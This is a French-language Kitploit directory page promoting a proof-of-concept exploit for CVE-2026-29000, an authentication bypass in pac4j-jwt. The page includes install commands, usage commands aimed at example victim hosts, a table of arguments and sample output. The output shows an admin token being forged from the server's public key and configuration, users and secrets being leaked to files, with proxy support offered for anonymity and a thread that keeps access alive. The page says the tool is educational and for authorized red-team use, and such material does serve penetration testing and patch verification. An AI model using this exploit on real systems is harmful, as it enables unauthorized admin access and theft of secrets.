Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – Contournement d'authentification pac4j-jwt (CVSS 10.0). Forge d'admin en un clic via encapsulation JWE à clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé. Outil PoC d'exploitation à but éducatif. | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
Authentification et AutorisationGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Red Teaming
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – Contournement d'authentification pac4j-jwt (CVSS 10.0). Forge d'admin en un clic via encapsulation JWE à clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé. Outil PoC d'exploitation à but éducatif.

Voir le dépôt
317il y a 7 joursPas encore vérifié
Partager

CVE-2026-29000 - Exploit de contournement d'authentification pac4j-jwt

Python CVSS License Pentesting

CVE-2026-29000 - Forge d'administrateur en un clic via JWT alg:none + chiffrement JWE

> Aperçu

Cet exploit arme CVE-2026-29000, une vulnérabilité critique de score CVSS 10.0 dans la bibliothèque pac4j-jwt. En extrayant la clé publique JWKS du serveur et en forgeant un jeton JWE chiffré avec alg: none, il parvient à un contournement complet de l'authentification et accorde les pleins privilèges d'administrateur en un seul clic.

[</>] Fonctionnalités clés

  • [+] Aucune authentification requise - Exploitation pré-authentification, aucun identifiant valide nécessaire
  • [+] Découverte automatique du JWKS - Analyse plus de 15 points de terminaison, prise en charge de chemins personnalisés
  • [+] Extraction de clé RSA - Récupère la clé publique, convertit JWK→PEM à la volée
  • [+] Forge JWT + JWE - Crée un JWT alg:none, l'enveloppe avec la propre clé publique du serveur
  • [+] Jeton administrateur complet - ROLE_ADMIN, admin:true, expiration configurable
  • [+] Contournement d'authentification - Teste automatiquement plus de 8 points de terminaison protégés
  • [+] Fuite d'informations intelligente - Énumère plus de 20 chemins d'API sensibles
  • [+] Persistance de session - Un thread keep-alive maintient l'accès
  • [+] Prise en charge de proxy - Proxy HTTP/HTTPS pour l'anonymat
  • [+] Export de fichiers - Enregistre le jeton forgé et les données divulguées dans des fichiers
  • [+] Mécanisme de nouvelle tentative - Nouvelles tentatives configurables pour les connexions instables
  • [+] Sortie colorée - Retour visuel professionnel par étapes
  • [+] Mode verbeux - Journalisation de débogage pour le dépannage
  • [+] Aucun délai codé en dur - Uniquement le backoff des nouvelles tentatives et les pings keep-alive

Versions vulnérables

BibliothèqueVersions affectéesVersions corrigées
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

[!] Avertissement : Cet outil est destiné exclusivement aux tests de sécurité autorisés et aux engagements red team.

Installation

git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt :

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

Utilisation

Exploit basique en une seule exécution

python exploit.py --target https://victim.com:8443

Save Forged Token + Leak Data
bash

python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

Verbose Mode with Custom JWKS
bash

python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

With Proxy and No Keep-Alive
bash

python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

Custom Keep-Alive Interval
bash

python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

SSL Verification Enabled

python exploit.py -t https://legit.com:8443 --ssl-verify

Arguments de ligne de commande

Argument Court Requis Par défaut Description --target -t Oui - URL cible (par ex., https://example.com:8443) --jwks -k Non détection automatique Chemin personnalisé du point de terminaison JWKS --output -o Non Aucun Enregistrer le jeton JWE forgé dans un fichier --leak -l Non leaked_TIMESTAMP.txt Enregistrer les données divulguées dans un fichier --verbose -v Non False Activer la sortie de débogage --proxy -p Non Aucun Proxy HTTP/HTTPS --user-agent -ua Non Mozilla/5.0... User-Agent personnalisé --no-keep-alive - Non False Désactiver le keep-alive de session --delay - Non 5.0 Intervalle de ping keep-alive (secondes) --max-retries - Non 3 Nombre maximal de tentatives par requête échouée --ssl-verify - Non False Vérifier les certificats SSL

Exemple de sortie

$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

════════════════════════════════════════════════════════════════
   CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 
             The Educational One‑Click Admin Forge                     
                    CVSS 10.0 - CRITICAL                              
════════════════════════════════════════════════════════════════

[11:23:15] ÉTAPE 1 : Acquisition de la clé publique RSA depuis le JWKS [11:23:15] Sondage du point de terminaison JWKS... [11:23:16] JWKS trouvé à /realms/master/protocol/openid-connect/certs [11:23:16] Clé publique RSA extraite avec succès

[11:23:16] ÉTAPE 2 : Fabrication d'un JWT avec alg:none et chiffrement en JWE [11:23:16] Jeton JWE forgé (tronqué) : eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Jeton enregistré dans backdoor.jwe

[11:23:16] ÉTAPE 3 : Envoi du JWE forgé en tant que jeton Bearer [11:23:17] ✓ Authentification réussie ! Accès accordé à /api/users/me

[11:23:17] ÉTAPE 4 : Énumération des points de terminaison accessibles et révélation de données sensibles [11:23:18] ✓ Fuite : /actuator/env (statut 200) [11:23:18] ✓ Fuite : /api/users (statut 200) [11:23:18] ✓ Fuite : /api/secrets (statut 200) [11:23:18] ✓ Fuite : /config/server (statut 200) [11:23:18] ✓ 4 points de terminaison sensibles capturés → enregistrés dans leak.txt

[11:23:18] Session keep‑alive active (Ctrl+C pour arrêter) [11:23:18] Jeton (JWE) valide pendant ~1 heure – reforger s'il a expiré

Exploits associés

Découvrez mes autres dépôts d'exploits :

  • CVE-2026-41940
  • CVE-2026-0073
  • CVE-2026-29000
Télécharger l’outil